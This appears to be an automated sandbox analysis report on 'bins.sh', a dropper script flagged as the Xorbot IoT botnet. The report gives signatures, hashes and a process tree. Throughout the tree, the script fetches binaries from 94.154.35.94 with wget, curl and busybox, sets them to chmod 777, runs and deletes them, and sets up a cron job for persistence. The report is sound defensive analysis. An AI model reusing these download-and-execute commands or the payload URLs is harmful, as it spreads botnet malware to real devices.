Analysis

  • max time kernel
    149s
  • max time network
    99s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/01/2025, 02:37

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250128-c35yrsvmal
  • SHA256 e19c203e6db00e788c2da37cc4f226dcf41dc2e1c50486cbe0459d46badb5423
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:714
      • /usr/bin/wget
        wget http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
        2⤵
        • Writes file to tmp directory
        PID:718
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
        2⤵
        • Writes file to tmp directory
        PID:735
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
        2⤵
        • Writes file to tmp directory
        PID:740
      • /bin/chmod
        chmod 777 KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
        ./KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
        2⤵
          PID:742
        • /bin/rm
          rm KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
            2⤵
            • File and Directory Permissions Modification
            PID:768
          • /tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
            ./yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
            2⤵
              PID:769
            • /bin/rm
              rm yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
              2⤵
                PID:772
              • /usr/bin/wget
                wget http://94.154.35.94/bins/2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                2⤵
                • Writes file to tmp directory
                PID:774
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:790
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/chmod
                chmod 777 2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                ./2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                2⤵
                  PID:801
                • /bin/rm
                  rm 2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                  2⤵
                    PID:803
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                    2⤵
                    • Writes file to tmp directory
                    PID:804
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                    2⤵
                    • Writes file to tmp directory
                    PID:805
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /bin/chmod
                    chmod 777 eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                    2⤵
                    • File and Directory Permissions Modification
                    PID:817
                  • /tmp/eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                    ./eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                    2⤵
                      PID:818
                    • /bin/rm
                      rm eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                      2⤵
                        PID:821
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                        2⤵
                        • Writes file to tmp directory
                        PID:823
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:833
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                        2⤵
                        • Writes file to tmp directory
                        PID:843
                      • /bin/chmod
                        chmod 777 FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                        2⤵
                        • File and Directory Permissions Modification
                        PID:844
                      • /tmp/FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                        ./FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                        2⤵
                          PID:845
                        • /bin/rm
                          rm FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                          2⤵
                            PID:847
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                            2⤵
                            • Writes file to tmp directory
                            PID:848
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:849
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                            2⤵
                            • Writes file to tmp directory
                            PID:850
                          • /bin/chmod
                            chmod 777 pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                            ./pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                            2⤵
                              PID:852
                            • /bin/rm
                              rm pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                              2⤵
                                PID:854
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                2⤵
                                • Writes file to tmp directory
                                PID:855
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:856
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                2⤵
                                • Writes file to tmp directory
                                PID:857
                              • /bin/chmod
                                chmod 777 Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                2⤵
                                • File and Directory Permissions Modification
                                PID:858
                              • /tmp/Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                ./Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                2⤵
                                  PID:859
                                • /bin/rm
                                  rm Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                  2⤵
                                    PID:861
                                  • /usr/bin/wget
                                    wget http://94.154.35.94/bins/a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:862
                                  • /usr/bin/curl
                                    curl -O http://94.154.35.94/bins/a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:863
                                  • /bin/busybox
                                    /bin/busybox wget http://94.154.35.94/bins/a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:867
                                  • /bin/chmod
                                    chmod 777 a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:868
                                  • /tmp/a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                    ./a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:869
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:871
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                          • Reads runtime system information
                                          PID:872
                                      • /bin/sh
                                        sh -c "crontab -"
                                        3⤵
                                          PID:873
                                          • /usr/bin/crontab
                                            crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            • Reads runtime system information
                                            PID:874
                                      • /bin/rm
                                        rm a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                        2⤵
                                          PID:876
                                        • /usr/bin/wget
                                          wget http://94.154.35.94/bins/kWWRPgZUJ5mdAD76mCMdcILqDugml9GYu8
                                          2⤵
                                            PID:879

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu

                                              • Path /tmp/2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
                                              • Size 117KB
                                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                              • MD5 SHA1 SHA512 SSDEEP

                                              FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI

                                              • Path /tmp/FTQJsrF5s6q7BGknrWucxvlhTCHd8hNBSI
                                              • Size 99KB
                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc

                                              • Path /tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU

                                              • Path /tmp/Z14GceHZdWqc21OXpKuycM5GrGIx8CQOwU
                                              • Size 127KB
                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc

                                              • Path /tmp/a8gMgYcGlGjta2u4cywxlpNSi0iLNqpGlc
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH

                                              • Path /tmp/eNIqh3eqmGHGvC0R8ZECtwpkEjoGCZXFxH
                                              • Size 107KB
                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                              • MD5 SHA1 SHA512 SSDEEP

                                              pq78vgl68myrgjciXA6J69keFXYQjvyYiq

                                              • Path /tmp/pq78vgl68myrgjciXA6J69keFXYQjvyYiq
                                              • Size 119KB
                                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                              • MD5 SHA1 SHA512 SSDEEP

                                              yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc

                                              • Path /tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
                                              • Size 141KB
                                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.7V2yaW

                                              • Path /var/spool/cron/crontabs/tmp.7V2yaW
                                              • Size 210B
                                              • SHA256 5d79ed420f88863363e735493d10e4686281af53606de1664203062d1f3711d2
                                              • MD5 SHA1 SHA512